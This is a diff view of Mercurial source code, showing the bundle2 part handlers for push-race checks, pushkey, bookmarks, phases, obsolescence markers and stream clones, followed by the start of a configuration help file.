2160 ret = int(inpart.params[b'return'])
2164 ret = int(inpart.params[b'return'])
2161 replyto = int(inpart.params[b'in-reply-to'])
2165 replyto = int(inpart.params[b'in-reply-to'])
2162 op.records.add(b'changegroup', {b'return': ret}, replyto)
2166 op.records.add(b'changegroup', {b'return': ret}, replyto)
2163
2167
2164
2168
2165 @parthandler(b'check:bookmarks')
2169 @parthandler(b'check:bookmarks')
2166 def handlecheckbookmarks(op, inpart):
2170 def handlecheckbookmarks(op, inpart):
2167 """check location of bookmarks
2171 """check location of bookmarks
2168
2172
2169 This part is to be used to detect push race regarding bookmark, it
2173 This part is to be used to detect push race regarding bookmark, it
2170 contains binary encoded (bookmark, node) tuple. If the local state does
2174 contains binary encoded (bookmark, node) tuple. If the local state does
2171 not marks the one in the part, a PushRaced exception is raised
2175 not marks the one in the part, a PushRaced exception is raised
2172 """
2176 """
2173 bookdata = bookmarks.binarydecode(op.repo, inpart)
2177 bookdata = bookmarks.binarydecode(op.repo, inpart)
2174
2178
2175 msgstandard = (
2179 msgstandard = (
2176 b'remote repository changed while pushing - please try again '
2180 b'remote repository changed while pushing - please try again '
2177 b'(bookmark "%s" move from %s to %s)'
2181 b'(bookmark "%s" move from %s to %s)'
2178 )
2182 )
2179 msgmissing = (
2183 msgmissing = (
2180 b'remote repository changed while pushing - please try again '
2184 b'remote repository changed while pushing - please try again '
2181 b'(bookmark "%s" is missing, expected %s)'
2185 b'(bookmark "%s" is missing, expected %s)'
2182 )
2186 )
2183 msgexist = (
2187 msgexist = (
2184 b'remote repository changed while pushing - please try again '
2188 b'remote repository changed while pushing - please try again '
2185 b'(bookmark "%s" set on %s, expected missing)'
2189 b'(bookmark "%s" set on %s, expected missing)'
2186 )
2190 )
2187 for book, node in bookdata:
2191 for book, node in bookdata:
2188 currentnode = op.repo._bookmarks.get(book)
2192 currentnode = op.repo._bookmarks.get(book)
2189 if currentnode != node:
2193 if currentnode != node:
2190 if node is None:
2194 if node is None:
2191 finalmsg = msgexist % (book, short(currentnode))
2195 finalmsg = msgexist % (book, short(currentnode))
2192 elif currentnode is None:
2196 elif currentnode is None:
2193 finalmsg = msgmissing % (book, short(node))
2197 finalmsg = msgmissing % (book, short(node))
2194 else:
2198 else:
2195 finalmsg = msgstandard % (
2199 finalmsg = msgstandard % (
2196 book,
2200 book,
2197 short(node),
2201 short(node),
2198 short(currentnode),
2202 short(currentnode),
2199 )
2203 )
2200 raise error.PushRaced(finalmsg)
2204 raise error.PushRaced(finalmsg)
2201
2205
2202
2206
2203 @parthandler(b'check:heads')
2207 @parthandler(b'check:heads')
2204 def handlecheckheads(op, inpart):
2208 def handlecheckheads(op, inpart):
2205 """check that head of the repo did not change
2209 """check that head of the repo did not change
2206
2210
2207 This is used to detect a push race when using unbundle.
2211 This is used to detect a push race when using unbundle.
2208 This replaces the "heads" argument of unbundle."""
2212 This replaces the "heads" argument of unbundle."""
2209 h = inpart.read(20)
2213 h = inpart.read(20)
2210 heads = []
2214 heads = []
2211 while len(h) == 20:
2215 while len(h) == 20:
2212 heads.append(h)
2216 heads.append(h)
2213 h = inpart.read(20)
2217 h = inpart.read(20)
2214 assert not h
2218 assert not h
2215 # Trigger a transaction so that we are guaranteed to have the lock now.
2219 # Trigger a transaction so that we are guaranteed to have the lock now.
2216 if op.ui.configbool(b'experimental', b'bundle2lazylocking'):
2220 if op.ui.configbool(b'experimental', b'bundle2lazylocking'):
2217 op.gettransaction()
2221 op.gettransaction()
2218 if sorted(heads) != sorted(op.repo.heads()):
2222 if sorted(heads) != sorted(op.repo.heads()):
2219 raise error.PushRaced(
2223 raise error.PushRaced(
2220 b'remote repository changed while pushing - please try again'
2224 b'remote repository changed while pushing - please try again'
2221 )
2225 )
2222
2226
2223
2227
2224 @parthandler(b'check:updated-heads')
2228 @parthandler(b'check:updated-heads')
2225 def handlecheckupdatedheads(op, inpart):
2229 def handlecheckupdatedheads(op, inpart):
2226 """check for race on the heads touched by a push
2230 """check for race on the heads touched by a push
2227
2231
2228 This is similar to 'check:heads' but focus on the heads actually updated
2232 This is similar to 'check:heads' but focus on the heads actually updated
2229 during the push. If other activities happen on unrelated heads, it is
2233 during the push. If other activities happen on unrelated heads, it is
2230 ignored.
2234 ignored.
2231
2235
2232 This allow server with high traffic to avoid push contention as long as
2236 This allow server with high traffic to avoid push contention as long as
2233 unrelated parts of the graph are involved."""
2237 unrelated parts of the graph are involved."""
2234 h = inpart.read(20)
2238 h = inpart.read(20)
2235 heads = []
2239 heads = []
2236 while len(h) == 20:
2240 while len(h) == 20:
2237 heads.append(h)
2241 heads.append(h)
2238 h = inpart.read(20)
2242 h = inpart.read(20)
2239 assert not h
2243 assert not h
2240 # trigger a transaction so that we are guaranteed to have the lock now.
2244 # trigger a transaction so that we are guaranteed to have the lock now.
2241 if op.ui.configbool(b'experimental', b'bundle2lazylocking'):
2245 if op.ui.configbool(b'experimental', b'bundle2lazylocking'):
2242 op.gettransaction()
2246 op.gettransaction()
2243
2247
2244 currentheads = set()
2248 currentheads = set()
2245 for ls in op.repo.branchmap().iterheads():
2249 for ls in op.repo.branchmap().iterheads():
2246 currentheads.update(ls)
2250 currentheads.update(ls)
2247
2251
2248 for h in heads:
2252 for h in heads:
2249 if h not in currentheads:
2253 if h not in currentheads:
2250 raise error.PushRaced(
2254 raise error.PushRaced(
2251 b'remote repository changed while pushing - '
2255 b'remote repository changed while pushing - '
2252 b'please try again'
2256 b'please try again'
2253 )
2257 )
2254
2258
2255
2259
2256 @parthandler(b'check:phases')
2260 @parthandler(b'check:phases')
2257 def handlecheckphases(op, inpart):
2261 def handlecheckphases(op, inpart):
2258 """check that phase boundaries of the repository did not change
2262 """check that phase boundaries of the repository did not change
2259
2263
2260 This is used to detect a push race.
2264 This is used to detect a push race.
2261 """
2265 """
2262 phasetonodes = phases.binarydecode(inpart)
2266 phasetonodes = phases.binarydecode(inpart)
2263 unfi = op.repo.unfiltered()
2267 unfi = op.repo.unfiltered()
2264 cl = unfi.changelog
2268 cl = unfi.changelog
2265 phasecache = unfi._phasecache
2269 phasecache = unfi._phasecache
2266 msg = (
2270 msg = (
2267 b'remote repository changed while pushing - please try again '
2271 b'remote repository changed while pushing - please try again '
2268 b'(%s is %s expected %s)'
2272 b'(%s is %s expected %s)'
2269 )
2273 )
2270 for expectedphase, nodes in phasetonodes.items():
2274 for expectedphase, nodes in phasetonodes.items():
2271 for n in nodes:
2275 for n in nodes:
2272 actualphase = phasecache.phase(unfi, cl.rev(n))
2276 actualphase = phasecache.phase(unfi, cl.rev(n))
2273 if actualphase != expectedphase:
2277 if actualphase != expectedphase:
2274 finalmsg = msg % (
2278 finalmsg = msg % (
2275 short(n),
2279 short(n),
2276 phases.phasenames[actualphase],
2280 phases.phasenames[actualphase],
2277 phases.phasenames[expectedphase],
2281 phases.phasenames[expectedphase],
2278 )
2282 )
2279 raise error.PushRaced(finalmsg)
2283 raise error.PushRaced(finalmsg)
2280
2284
2281
2285
2282 @parthandler(b'output')
2286 @parthandler(b'output')
2283 def handleoutput(op, inpart):
2287 def handleoutput(op, inpart):
2284 """forward output captured on the server to the client"""
2288 """forward output captured on the server to the client"""
2285 for line in inpart.read().splitlines():
2289 for line in inpart.read().splitlines():
2286 op.ui.status(_(b'remote: %s\n') % line)
2290 op.ui.status(_(b'remote: %s\n') % line)
2287
2291
2288
2292
2289 @parthandler(b'replycaps')
2293 @parthandler(b'replycaps')
2290 def handlereplycaps(op, inpart):
2294 def handlereplycaps(op, inpart):
2291 """Notify that a reply bundle should be created
2295 """Notify that a reply bundle should be created
2292
2296
2293 The payload contains the capabilities information for the reply"""
2297 The payload contains the capabilities information for the reply"""
2294 caps = decodecaps(inpart.read())
2298 caps = decodecaps(inpart.read())
2295 if op.reply is None:
2299 if op.reply is None:
2296 op.reply = bundle20(op.ui, caps)
2300 op.reply = bundle20(op.ui, caps)
2297
2301
2298
2302
2299 class AbortFromPart(error.Abort):
2303 class AbortFromPart(error.Abort):
2300 """Sub-class of Abort that denotes an error from a bundle2 part."""
2304 """Sub-class of Abort that denotes an error from a bundle2 part."""
2301
2305
2302
2306
2303 @parthandler(b'error:abort', (b'message', b'hint'))
2307 @parthandler(b'error:abort', (b'message', b'hint'))
2304 def handleerrorabort(op, inpart):
2308 def handleerrorabort(op, inpart):
2305 """Used to transmit abort error over the wire"""
2309 """Used to transmit abort error over the wire"""
2306 raise AbortFromPart(
2310 raise AbortFromPart(
2307 inpart.params[b'message'], hint=inpart.params.get(b'hint')
2311 inpart.params[b'message'], hint=inpart.params.get(b'hint')
2308 )
2312 )
2309
2313
2310
2314
2311 @parthandler(
2315 @parthandler(
2312 b'error:pushkey',
2316 b'error:pushkey',
2313 (b'namespace', b'key', b'new', b'old', b'ret', b'in-reply-to'),
2317 (b'namespace', b'key', b'new', b'old', b'ret', b'in-reply-to'),
2314 )
2318 )
2315 def handleerrorpushkey(op, inpart):
2319 def handleerrorpushkey(op, inpart):
2316 """Used to transmit failure of a mandatory pushkey over the wire"""
2320 """Used to transmit failure of a mandatory pushkey over the wire"""
2317 kwargs = {}
2321 kwargs = {}
2318 for name in (b'namespace', b'key', b'new', b'old', b'ret'):
2322 for name in (b'namespace', b'key', b'new', b'old', b'ret'):
2319 value = inpart.params.get(name)
2323 value = inpart.params.get(name)
2320 if value is not None:
2324 if value is not None:
2321 kwargs[name] = value
2325 kwargs[name] = value
2322 raise error.PushkeyFailed(
2326 raise error.PushkeyFailed(
2323 inpart.params[b'in-reply-to'], **pycompat.strkwargs(kwargs)
2327 inpart.params[b'in-reply-to'], **pycompat.strkwargs(kwargs)
2324 )
2328 )
2325
2329
2326
2330
2327 @parthandler(b'error:unsupportedcontent', (b'parttype', b'params'))
2331 @parthandler(b'error:unsupportedcontent', (b'parttype', b'params'))
2328 def handleerrorunsupportedcontent(op, inpart):
2332 def handleerrorunsupportedcontent(op, inpart):
2329 """Used to transmit unknown content error over the wire"""
2333 """Used to transmit unknown content error over the wire"""
2330 kwargs = {}
2334 kwargs = {}
2331 parttype = inpart.params.get(b'parttype')
2335 parttype = inpart.params.get(b'parttype')
2332 if parttype is not None:
2336 if parttype is not None:
2333 kwargs[b'parttype'] = parttype
2337 kwargs[b'parttype'] = parttype
2334 params = inpart.params.get(b'params')
2338 params = inpart.params.get(b'params')
2335 if params is not None:
2339 if params is not None:
2336 kwargs[b'params'] = params.split(b'\0')
2340 kwargs[b'params'] = params.split(b'\0')
2337
2341
2338 raise error.BundleUnknownFeatureError(**pycompat.strkwargs(kwargs))
2342 raise error.BundleUnknownFeatureError(**pycompat.strkwargs(kwargs))
2339
2343
2340
2344
2341 @parthandler(b'error:pushraced', (b'message',))
2345 @parthandler(b'error:pushraced', (b'message',))
2342 def handleerrorpushraced(op, inpart):
2346 def handleerrorpushraced(op, inpart):
2343 """Used to transmit push race error over the wire"""
2347 """Used to transmit push race error over the wire"""
2344 raise error.ResponseError(_(b'push failed:'), inpart.params[b'message'])
2348 raise error.ResponseError(_(b'push failed:'), inpart.params[b'message'])
2345
2349
2346
2350
2347 @parthandler(b'listkeys', (b'namespace',))
2351 @parthandler(b'listkeys', (b'namespace',))
2348 def handlelistkeys(op, inpart):
2352 def handlelistkeys(op, inpart):
2349 """retrieve pushkey namespace content stored in a bundle2"""
2353 """retrieve pushkey namespace content stored in a bundle2"""
2350 namespace = inpart.params[b'namespace']
2354 namespace = inpart.params[b'namespace']
2351 r = pushkey.decodekeys(inpart.read())
2355 r = pushkey.decodekeys(inpart.read())
2352 op.records.add(b'listkeys', (namespace, r))
2356 op.records.add(b'listkeys', (namespace, r))
2353
2357
2354
2358
2355 @parthandler(b'pushkey', (b'namespace', b'key', b'old', b'new'))
2359 @parthandler(b'pushkey', (b'namespace', b'key', b'old', b'new'))
2356 def handlepushkey(op, inpart):
2360 def handlepushkey(op, inpart):
2357 """process a pushkey request"""
2361 """process a pushkey request"""
2358 dec = pushkey.decode
2362 dec = pushkey.decode
2359 namespace = dec(inpart.params[b'namespace'])
2363 namespace = dec(inpart.params[b'namespace'])
2360 key = dec(inpart.params[b'key'])
2364 key = dec(inpart.params[b'key'])
2361 old = dec(inpart.params[b'old'])
2365 old = dec(inpart.params[b'old'])
2362 new = dec(inpart.params[b'new'])
2366 new = dec(inpart.params[b'new'])
2363 # Grab the transaction to ensure that we have the lock before performing the
2367 # Grab the transaction to ensure that we have the lock before performing the
2364 # pushkey.
2368 # pushkey.
2365 if op.ui.configbool(b'experimental', b'bundle2lazylocking'):
2369 if op.ui.configbool(b'experimental', b'bundle2lazylocking'):
2366 op.gettransaction()
2370 op.gettransaction()
2367 ret = op.repo.pushkey(namespace, key, old, new)
2371 ret = op.repo.pushkey(namespace, key, old, new)
2368 record = {b'namespace': namespace, b'key': key, b'old': old, b'new': new}
2372 record = {b'namespace': namespace, b'key': key, b'old': old, b'new': new}
2369 op.records.add(b'pushkey', record)
2373 op.records.add(b'pushkey', record)
2370 if op.reply is not None:
2374 if op.reply is not None:
2371 rpart = op.reply.newpart(b'reply:pushkey')
2375 rpart = op.reply.newpart(b'reply:pushkey')
2372 rpart.addparam(
2376 rpart.addparam(
2373 b'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False
2377 b'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False
2374 )
2378 )
2375 rpart.addparam(b'return', b'%i' % ret, mandatory=False)
2379 rpart.addparam(b'return', b'%i' % ret, mandatory=False)
2376 if inpart.mandatory and not ret:
2380 if inpart.mandatory and not ret:
2377 kwargs = {}
2381 kwargs = {}
2378 for key in (b'namespace', b'key', b'new', b'old', b'ret'):
2382 for key in (b'namespace', b'key', b'new', b'old', b'ret'):
2379 if key in inpart.params:
2383 if key in inpart.params:
2380 kwargs[key] = inpart.params[key]
2384 kwargs[key] = inpart.params[key]
2381 raise error.PushkeyFailed(
2385 raise error.PushkeyFailed(
2382 partid=b'%d' % inpart.id, **pycompat.strkwargs(kwargs)
2386 partid=b'%d' % inpart.id, **pycompat.strkwargs(kwargs)
2383 )
2387 )
2384
2388
2385
2389
2386 @parthandler(b'bookmarks')
2390 @parthandler(b'bookmarks')
2387 def handlebookmark(op, inpart):
2391 def handlebookmark(op, inpart):
2388 """transmit bookmark information
2392 """transmit bookmark information
2389
2393
2390 The part contains binary encoded bookmark information.
2394 The part contains binary encoded bookmark information.
2391
2395
2392 The exact behavior of this part can be controlled by the 'bookmarks' mode
2396 The exact behavior of this part can be controlled by the 'bookmarks' mode
2393 on the bundle operation.
2397 on the bundle operation.
2394
2398
2395 When mode is 'apply' (the default) the bookmark information is applied as
2399 When mode is 'apply' (the default) the bookmark information is applied as
2396 is to the unbundling repository. Make sure a 'check:bookmarks' part is
2400 is to the unbundling repository. Make sure a 'check:bookmarks' part is
2397 issued earlier to check for push races in such update. This behavior is
2401 issued earlier to check for push races in such update. This behavior is
2398 suitable for pushing.
2402 suitable for pushing.
2399
2403
2400 When mode is 'records', the information is recorded into the 'bookmarks'
2404 When mode is 'records', the information is recorded into the 'bookmarks'
2401 records of the bundle operation. This behavior is suitable for pulling.
2405 records of the bundle operation. This behavior is suitable for pulling.
2402 """
2406 """
2403 changes = bookmarks.binarydecode(op.repo, inpart)
2407 changes = bookmarks.binarydecode(op.repo, inpart)
2404
2408
2405 pushkeycompat = op.repo.ui.configbool(
2409 pushkeycompat = op.repo.ui.configbool(
2406 b'server', b'bookmarks-pushkey-compat'
2410 b'server', b'bookmarks-pushkey-compat'
2407 )
2411 )
2408 bookmarksmode = op.modes.get(b'bookmarks', b'apply')
2412 bookmarksmode = op.modes.get(b'bookmarks', b'apply')
2409
2413
2410 if bookmarksmode == b'apply':
2414 if bookmarksmode == b'apply':
2411 tr = op.gettransaction()
2415 tr = op.gettransaction()
2412 bookstore = op.repo._bookmarks
2416 bookstore = op.repo._bookmarks
2413 if pushkeycompat:
2417 if pushkeycompat:
2414 allhooks = []
2418 allhooks = []
2415 for book, node in changes:
2419 for book, node in changes:
2416 hookargs = tr.hookargs.copy()
2420 hookargs = tr.hookargs.copy()
2417 hookargs[b'pushkeycompat'] = b'1'
2421 hookargs[b'pushkeycompat'] = b'1'
2418 hookargs[b'namespace'] = b'bookmarks'
2422 hookargs[b'namespace'] = b'bookmarks'
2419 hookargs[b'key'] = book
2423 hookargs[b'key'] = book
2420 hookargs[b'old'] = hex(bookstore.get(book, b''))
2424 hookargs[b'old'] = hex(bookstore.get(book, b''))
2421 hookargs[b'new'] = hex(node if node is not None else b'')
2425 hookargs[b'new'] = hex(node if node is not None else b'')
2422 allhooks.append(hookargs)
2426 allhooks.append(hookargs)
2423
2427
2424 for hookargs in allhooks:
2428 for hookargs in allhooks:
2425 op.repo.hook(
2429 op.repo.hook(
2426 b'prepushkey', throw=True, **pycompat.strkwargs(hookargs)
2430 b'prepushkey', throw=True, **pycompat.strkwargs(hookargs)
2427 )
2431 )
2428
2432
2429 for book, node in changes:
2433 for book, node in changes:
2430 if bookmarks.isdivergent(book):
2434 if bookmarks.isdivergent(book):
2431 msg = _(b'cannot accept divergent bookmark %s!') % book
2435 msg = _(b'cannot accept divergent bookmark %s!') % book
2432 raise error.Abort(msg)
2436 raise error.Abort(msg)
2433
2437
2434 bookstore.applychanges(op.repo, op.gettransaction(), changes)
2438 bookstore.applychanges(op.repo, op.gettransaction(), changes)
2435
2439
2436 if pushkeycompat:
2440 if pushkeycompat:
2437
2441
2438 def runhook(unused_success):
2442 def runhook(unused_success):
2439 for hookargs in allhooks:
2443 for hookargs in allhooks:
2440 op.repo.hook(b'pushkey', **pycompat.strkwargs(hookargs))
2444 op.repo.hook(b'pushkey', **pycompat.strkwargs(hookargs))
2441
2445
2442 op.repo._afterlock(runhook)
2446 op.repo._afterlock(runhook)
2443
2447
2444 elif bookmarksmode == b'records':
2448 elif bookmarksmode == b'records':
2445 for book, node in changes:
2449 for book, node in changes:
2446 record = {b'bookmark': book, b'node': node}
2450 record = {b'bookmark': book, b'node': node}
2447 op.records.add(b'bookmarks', record)
2451 op.records.add(b'bookmarks', record)
2448 else:
2452 else:
2449 raise error.ProgrammingError(
2453 raise error.ProgrammingError(
2450 b'unknown bookmark mode: %s' % bookmarksmode
2454 b'unknown bookmark mode: %s' % bookmarksmode
2451 )
2455 )
2452
2456
2453
2457
2454 @parthandler(b'phase-heads')
2458 @parthandler(b'phase-heads')
2455 def handlephases(op, inpart):
2459 def handlephases(op, inpart):
2456 """apply phases from bundle part to repo"""
2460 """apply phases from bundle part to repo"""
2457 headsbyphase = phases.binarydecode(inpart)
2461 headsbyphase = phases.binarydecode(inpart)
2458 phases.updatephases(op.repo.unfiltered(), op.gettransaction, headsbyphase)
2462 phases.updatephases(op.repo.unfiltered(), op.gettransaction, headsbyphase)
2459
2463
2460
2464
2461 @parthandler(b'reply:pushkey', (b'return', b'in-reply-to'))
2465 @parthandler(b'reply:pushkey', (b'return', b'in-reply-to'))
2462 def handlepushkeyreply(op, inpart):
2466 def handlepushkeyreply(op, inpart):
2463 """retrieve the result of a pushkey request"""
2467 """retrieve the result of a pushkey request"""
2464 ret = int(inpart.params[b'return'])
2468 ret = int(inpart.params[b'return'])
2465 partid = int(inpart.params[b'in-reply-to'])
2469 partid = int(inpart.params[b'in-reply-to'])
2466 op.records.add(b'pushkey', {b'return': ret}, partid)
2470 op.records.add(b'pushkey', {b'return': ret}, partid)
2467
2471
2468
2472
2469 @parthandler(b'obsmarkers')
2473 @parthandler(b'obsmarkers')
2470 def handleobsmarker(op, inpart):
2474 def handleobsmarker(op, inpart):
2471 """add a stream of obsmarkers to the repo"""
2475 """add a stream of obsmarkers to the repo"""
2472 tr = op.gettransaction()
2476 tr = op.gettransaction()
2473 markerdata = inpart.read()
2477 markerdata = inpart.read()
2474 if op.ui.config(b'experimental', b'obsmarkers-exchange-debug'):
2478 if op.ui.config(b'experimental', b'obsmarkers-exchange-debug'):
2475 op.ui.writenoi18n(
2479 op.ui.writenoi18n(
2476 b'obsmarker-exchange: %i bytes received\n' % len(markerdata)
2480 b'obsmarker-exchange: %i bytes received\n' % len(markerdata)
2477 )
2481 )
2478 # The mergemarkers call will crash if marker creation is not enabled.
2482 # The mergemarkers call will crash if marker creation is not enabled.
2479 # we want to avoid this if the part is advisory.
2483 # we want to avoid this if the part is advisory.
2480 if not inpart.mandatory and op.repo.obsstore.readonly:
2484 if not inpart.mandatory and op.repo.obsstore.readonly:
2481 op.repo.ui.debug(
2485 op.repo.ui.debug(
2482 b'ignoring obsolescence markers, feature not enabled\n'
2486 b'ignoring obsolescence markers, feature not enabled\n'
2483 )
2487 )
2484 return
2488 return
2485 new = op.repo.obsstore.mergemarkers(tr, markerdata)
2489 new = op.repo.obsstore.mergemarkers(tr, markerdata)
2486 op.repo.invalidatevolatilesets()
2490 op.repo.invalidatevolatilesets()
2487 op.records.add(b'obsmarkers', {b'new': new})
2491 op.records.add(b'obsmarkers', {b'new': new})
2488 if op.reply is not None:
2492 if op.reply is not None:
2489 rpart = op.reply.newpart(b'reply:obsmarkers')
2493 rpart = op.reply.newpart(b'reply:obsmarkers')
2490 rpart.addparam(
2494 rpart.addparam(
2491 b'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False
2495 b'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False
2492 )
2496 )
2493 rpart.addparam(b'new', b'%i' % new, mandatory=False)
2497 rpart.addparam(b'new', b'%i' % new, mandatory=False)
2494
2498
2495
2499
2496 @parthandler(b'reply:obsmarkers', (b'new', b'in-reply-to'))
2500 @parthandler(b'reply:obsmarkers', (b'new', b'in-reply-to'))
2497 def handleobsmarkerreply(op, inpart):
2501 def handleobsmarkerreply(op, inpart):
2498 """retrieve the result of a pushkey request"""
2502 """retrieve the result of a pushkey request"""
2499 ret = int(inpart.params[b'new'])
2503 ret = int(inpart.params[b'new'])
2500 partid = int(inpart.params[b'in-reply-to'])
2504 partid = int(inpart.params[b'in-reply-to'])
2501 op.records.add(b'obsmarkers', {b'new': ret}, partid)
2505 op.records.add(b'obsmarkers', {b'new': ret}, partid)
2502
2506
2503
2507
2504 @parthandler(b'hgtagsfnodes')
2508 @parthandler(b'hgtagsfnodes')
2505 def handlehgtagsfnodes(op, inpart):
2509 def handlehgtagsfnodes(op, inpart):
2506 """Applies .hgtags fnodes cache entries to the local repo.
2510 """Applies .hgtags fnodes cache entries to the local repo.
2507
2511
2508 Payload is pairs of 20 byte changeset nodes and filenodes.
2512 Payload is pairs of 20 byte changeset nodes and filenodes.
2509 """
2513 """
2510 # Grab the transaction so we ensure that we have the lock at this point.
2514 # Grab the transaction so we ensure that we have the lock at this point.
2511 if op.ui.configbool(b'experimental', b'bundle2lazylocking'):
2515 if op.ui.configbool(b'experimental', b'bundle2lazylocking'):
2512 op.gettransaction()
2516 op.gettransaction()
2513 cache = tags.hgtagsfnodescache(op.repo.unfiltered())
2517 cache = tags.hgtagsfnodescache(op.repo.unfiltered())
2514
2518
2515 count = 0
2519 count = 0
2516 while True:
2520 while True:
2517 node = inpart.read(20)
2521 node = inpart.read(20)
2518 fnode = inpart.read(20)
2522 fnode = inpart.read(20)
2519 if len(node) < 20 or len(fnode) < 20:
2523 if len(node) < 20 or len(fnode) < 20:
2520 op.ui.debug(b'ignoring incomplete received .hgtags fnodes data\n')
2524 op.ui.debug(b'ignoring incomplete received .hgtags fnodes data\n')
2521 break
2525 break
2522 cache.setfnode(node, fnode)
2526 cache.setfnode(node, fnode)
2523 count += 1
2527 count += 1
2524
2528
2525 cache.write()
2529 cache.write()
2526 op.ui.debug(b'applied %i hgtags fnodes cache entries\n' % count)
2530 op.ui.debug(b'applied %i hgtags fnodes cache entries\n' % count)
2527
2531
2528
2532
2529 rbcstruct = struct.Struct(b'>III')
2533 rbcstruct = struct.Struct(b'>III')
2530
2534
2531
2535
2532 @parthandler(b'cache:rev-branch-cache')
2536 @parthandler(b'cache:rev-branch-cache')
2533 def handlerbc(op, inpart):
2537 def handlerbc(op, inpart):
2534 """Legacy part, ignored for compatibility with bundles from or
2538 """Legacy part, ignored for compatibility with bundles from or
2535 for Mercurial before 5.7. Newer Mercurial computes the cache
2539 for Mercurial before 5.7. Newer Mercurial computes the cache
2536 efficiently enough during unbundling that the additional transfer
2540 efficiently enough during unbundling that the additional transfer
2537 is unnecessary."""
2541 is unnecessary."""
2538
2542
2539
2543
2540 @parthandler(b'pushvars')
2544 @parthandler(b'pushvars')
2541 def bundle2getvars(op, part):
2545 def bundle2getvars(op, part):
2542 '''unbundle a bundle2 containing shellvars on the server'''
2546 '''unbundle a bundle2 containing shellvars on the server'''
2543 # An option to disable unbundling on server-side for security reasons
2547 # An option to disable unbundling on server-side for security reasons
2544 if op.ui.configbool(b'push', b'pushvars.server'):
2548 if op.ui.configbool(b'push', b'pushvars.server'):
2545 hookargs = {}
2549 hookargs = {}
2546 for key, value in part.advisoryparams:
2550 for key, value in part.advisoryparams:
2547 key = key.upper()
2551 key = key.upper()
2548 # We want pushed variables to have USERVAR_ prepended so we know
2552 # We want pushed variables to have USERVAR_ prepended so we know
2549 # they came from the --pushvar flag.
2553 # they came from the --pushvar flag.
2550 key = b"USERVAR_" + key
2554 key = b"USERVAR_" + key
2551 hookargs[key] = value
2555 hookargs[key] = value
2552 op.addhookargs(hookargs)
2556 op.addhookargs(hookargs)
2553
2557
2554
2558
2555 @parthandler(b'stream2', (b'requirements', b'filecount', b'bytecount'))
2559 @parthandler(b'stream2', (b'requirements', b'filecount', b'bytecount'))
2556 def handlestreamv2bundle(op, part):
2560 def handlestreamv2bundle(op, part):
2557
2561
2558 requirements = urlreq.unquote(part.params[b'requirements'])
2562 requirements = urlreq.unquote(part.params[b'requirements'])
2559 requirements = requirements.split(b',') if requirements else []
2563 requirements = requirements.split(b',') if requirements else []
2560 filecount = int(part.params[b'filecount'])
2564 filecount = int(part.params[b'filecount'])
2561 bytecount = int(part.params[b'bytecount'])
2565 bytecount = int(part.params[b'bytecount'])
2562
2566
2563 repo = op.repo
2567 repo = op.repo
2564 if len(repo):
2568 if len(repo):
2565 msg = _(b'cannot apply stream clone to non empty repository')
2569 msg = _(b'cannot apply stream clone to non empty repository')
2566 raise error.Abort(msg)
2570 raise error.Abort(msg)
2567
2571
2568 repo.ui.debug(b'applying stream bundle\n')
2572 repo.ui.debug(b'applying stream bundle\n')
2569 streamclone.applybundlev2(repo, part, filecount, bytecount, requirements)
2573 streamclone.applybundlev2(repo, part, filecount, bytecount, requirements)
2570
2574
2571
2575
2572 def widen_bundle(
2576 def widen_bundle(
2573 bundler, repo, oldmatcher, newmatcher, common, known, cgversion, ellipses
2577 bundler, repo, oldmatcher, newmatcher, common, known, cgversion, ellipses
2574 ):
2578 ):
2575 """generates bundle2 for widening a narrow clone
2579 """generates bundle2 for widening a narrow clone
2576
2580
2577 bundler is the bundle to which data should be added
2581 bundler is the bundle to which data should be added
2578 repo is the localrepository instance
2582 repo is the localrepository instance
2579 oldmatcher matches what the client already has
2583 oldmatcher matches what the client already has
2580 newmatcher matches what the client needs (including what it already has)
2584 newmatcher matches what the client needs (including what it already has)
2581 common is set of common heads between server and client
2585 common is set of common heads between server and client
2582 known is a set of revs known on the client side (used in ellipses)
2586 known is a set of revs known on the client side (used in ellipses)
2583 cgversion is the changegroup version to send
2587 cgversion is the changegroup version to send
2584 ellipses is boolean value telling whether to send ellipses data or not
2588 ellipses is boolean value telling whether to send ellipses data or not
2585
2589
2586 returns bundle2 of the data required for extending
2590 returns bundle2 of the data required for extending
2587 """
2591 """
2588 commonnodes = set()
2592 commonnodes = set()
2589 cl = repo.changelog
2593 cl = repo.changelog
2590 for r in repo.revs(b"::%ln", common):
2594 for r in repo.revs(b"::%ln", common):
2591 commonnodes.add(cl.node(r))
2595 commonnodes.add(cl.node(r))
2592 if commonnodes:
2596 if commonnodes:
2593 packer = changegroup.getbundler(
2597 packer = changegroup.getbundler(
2594 cgversion,
2598 cgversion,
2595 repo,
2599 repo,
2596 oldmatcher=oldmatcher,
2600 oldmatcher=oldmatcher,
2597 matcher=newmatcher,
2601 matcher=newmatcher,
2598 fullnodes=commonnodes,
2602 fullnodes=commonnodes,
2599 )
2603 )
2600 cgdata = packer.generate(
2604 cgdata = packer.generate(
2601 {repo.nullid},
2605 {repo.nullid},
2602 list(commonnodes),
2606 list(commonnodes),
2603 False,
2607 False,
2604 b'narrow_widen',
2608 b'narrow_widen',
2605 changelog=False,
2609 changelog=False,
2606 )
2610 )
2607
2611
2608 part = bundler.newpart(b'changegroup', data=cgdata)
2612 part = bundler.newpart(b'changegroup', data=cgdata)
2609 part.addparam(b'version', cgversion)
2613 part.addparam(b'version', cgversion)
2610 if scmutil.istreemanifest(repo):
2614 if scmutil.istreemanifest(repo):
2611 part.addparam(b'treemanifest', b'1')
2615 part.addparam(b'treemanifest', b'1')
2612 if repository.REPO_FEATURE_SIDE_DATA in repo.features:
2616 if repository.REPO_FEATURE_SIDE_DATA in repo.features:
2613 part.addparam(b'exp-sidedata', b'1')
2617 part.addparam(b'exp-sidedata', b'1')
2614 wanted = format_remote_wanted_sidedata(repo)
2618 wanted = format_remote_wanted_sidedata(repo)
2615 part.addparam(b'exp-wanted-sidedata', wanted)
2619 part.addparam(b'exp-wanted-sidedata', wanted)
2616
2620
2617 return bundler
2621 return bundler
@@ -1,3347 +1,3376 b''
1 The Mercurial system uses a set of configuration files to control
1 The Mercurial system uses a set of configuration files to control
2 aspects of its behavior.
2 aspects of its behavior.
3
3
4 Troubleshooting
4 Troubleshooting
5 ===============
5 ===============
6
6
7 If you're having problems with your configuration,
7 If you're having problems with your configuration,
8 :hg:`config --source` can help you understand what is introducing
8 :hg:`config --source` can help you understand what is introducing
9 a setting into your environment.
9 a setting into your environment.
10
10
11 See :hg:`help config.syntax` and :hg:`help config.files`
